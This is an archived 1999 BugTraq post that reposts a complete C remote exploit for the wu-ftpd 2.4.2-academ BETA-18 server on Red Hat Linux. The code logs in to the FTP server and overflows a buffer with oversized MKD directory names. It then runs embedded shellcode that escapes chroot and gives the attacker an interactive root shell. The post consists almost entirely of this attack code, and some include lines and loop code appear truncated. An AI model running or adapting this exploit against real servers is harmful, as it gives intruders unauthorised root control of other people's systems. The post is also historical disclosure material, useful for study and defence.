Everhart, Glenn From: Pieter Nieuwenhuijsen [pietern@XS4ALL.NL] Sent: Monday, March 22, 1999 11:10 AM To: BUGTRAQ@NETSPACE.ORG Subject: ftp exploit /* THIS IS PRIVATE! DO NOT DISTRIBUTE!!!! PRIVATE! WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1) for linux x86 (redhat 5.2) by duke duke@viper.net.au BIG thanks to stran9er for alot of help with part of the shellcode! i fear stran9er, but who doesn't? !@$ :) Greets to: #!ADM, el8.org users, To exploit this remotely they need to have a directory you can have write privlidges to.. this is the argument.. you can also use this locally by specifying -l -p with the = your home directory or something..(must begin with '/') also alignment arg is how return address is aligned.. shouldnt need it, but if u do it should be between 0 and 3 It takes about 10 seconds after "logged in" so be patient. -duke */ #include #include #include #include #include #include //#include //#include #include #include #define RET 0xbfffa80f void logintoftp(); void sh(); void mkd(char *); int max(int, int); long getip(char *name); char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80" "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" "\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed" "\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1" "\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03" "\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89" "\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd" "\x80\xe8\xac\xff\xff\xff"; char tmp[256]; char name[128], pass[128]; int sockfd; int main(int argc, char **argv) { char sendln[1024], recvln[4048], buf1[800], buf2[1000]; char *p, *q, arg, **fakeargv = (char **) malloc(sizeof(char *)*(argc + 1)); int len, offset = 0, i, align=0; struct sockaddr_in cli; if(argc < 3){ printf("usage: %s [-l name] [-p pass] [-a ] [-o offset]\n", argv[0]); exit(0); } for(i=0; i < argc; i++) { fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1); strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1); } fakeargv[argc] = NULL; while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){ switch(arg) { case 'l': strncpy(name,optarg,128); break; case 'p': strncpy(pass,optarg,128); break; case 'a': align=atoi(optarg); break; case 'o': offset=atoi(optarg); break; default: printf("usage: %s [-l name] [-p pass] [-a ] [-o offset]\n", argv[0]); exit(0); break; } } if(name[0] == 0) strcpy(name, "anonymous"); if(pass[0] == 0) strcpy(pass, "hi@blahblah.net"); bzero(&cli, sizeof(cli)); bzero(recvln, sizeof(recvln)); bzero(sendln, sizeof(sendln)); cli.sin_family = AF_INET; cli.sin_port = htons(21); cli.sin_addr.s_addr=getip(argv[1]); if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("socket"); exit(0); } if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){ perror("connect"); exit(0); } while((len = read(sockfd, recvln, sizeof(recvln))) > 0){ recvln[len] = '\0'; if(strchr(recvln, '\n') != NULL) break; } logintoftp(sockfd); printf("logged in.\n"); bzero(sendln, sizeof(sendln)); for(i=align; i<996; i+=4) *(long *)&buf2[i] = RET + offset; memcpy(buf2, "a", align); memset(buf1, 0x90, 800); memcpy(buf1, argv[2], strlen(argv[2])); mkd(argv[2]); p = &buf1[strlen(argv[2])]; q = &buf1[799]; *q = '\x0'; while(p <= q){ strncpy(tmp, p, 200); mkd(tmp); p+=200; } mkd(shellcode); mkd("bin"); mkd("sh"); p = &buf2[0]; q = &buf2[999]; while(p <= q){ strncpy(tmp, p, 250); mkd(tmp); p+=250; } sh(sockfd); close(sockfd); printf("finit.\n"); } void mkd(char *dir) { char snd[512], rcv[1024]; char blah[1024], *p; int n; struct timeval tv; fd_set fds; bzero(&tv, sizeof(tv)); tv.tv_usec=50; bzero(blah, sizeof(blah)); p = blah; for(n=0; n 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } return; } void logintoftp() { char snd[1024], rcv[1024]; int n; printf("logging in with %s: %s\n", name, pass); memset(snd, '\0', 1024); sprintf(snd, "USER %s\r\n", name); write(sockfd, snd, strlen(snd)); while((n=read(sockfd, rcv, sizeof(rcv))) > 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } memset(snd, '\0', 1024); sprintf(snd, "PASS %s\r\n", pass); write(sockfd, snd, strlen(snd)); while((n=read(sockfd, rcv, sizeof(rcv))) > 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } return; } void sh() { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n; strcpy(snd, "cd /; uname -a; pwd; id;\n"); write(sockfd, snd, strlen(snd)); for(;;){ FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = max(fileno(stdin), sockfd) + 1; select(maxfd, &rset, NULL, NULL, NULL); if(FD_ISSET(fileno(stdin), &rset)){ bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd)-2, stdin); write(sockfd, snd, strlen(snd)); } if(FD_ISSET(sockfd, &rset)){ bzero(rcv, sizeof(rcv)); if((n = read(sockfd, rcv, sizeof(rcv))) == 0){ printf("EOF.\n"); exit(0); } if(n < 0){ perror("read"); exit(-1); } fputs(rcv, stdout); } } } int max(int x, int y) { if(x > y) return(x); return(y); } long getip(char *name) { struct hostent *hp; long ip; if ((ip=inet_addr(name))==-1) { if ((hp=gethostbyname(name))==NULL) { fprintf(stderr,"Can't resolve host.\n"); exit (1); } memcpy(&ip, (hp->h_addr), 4); } return ip; }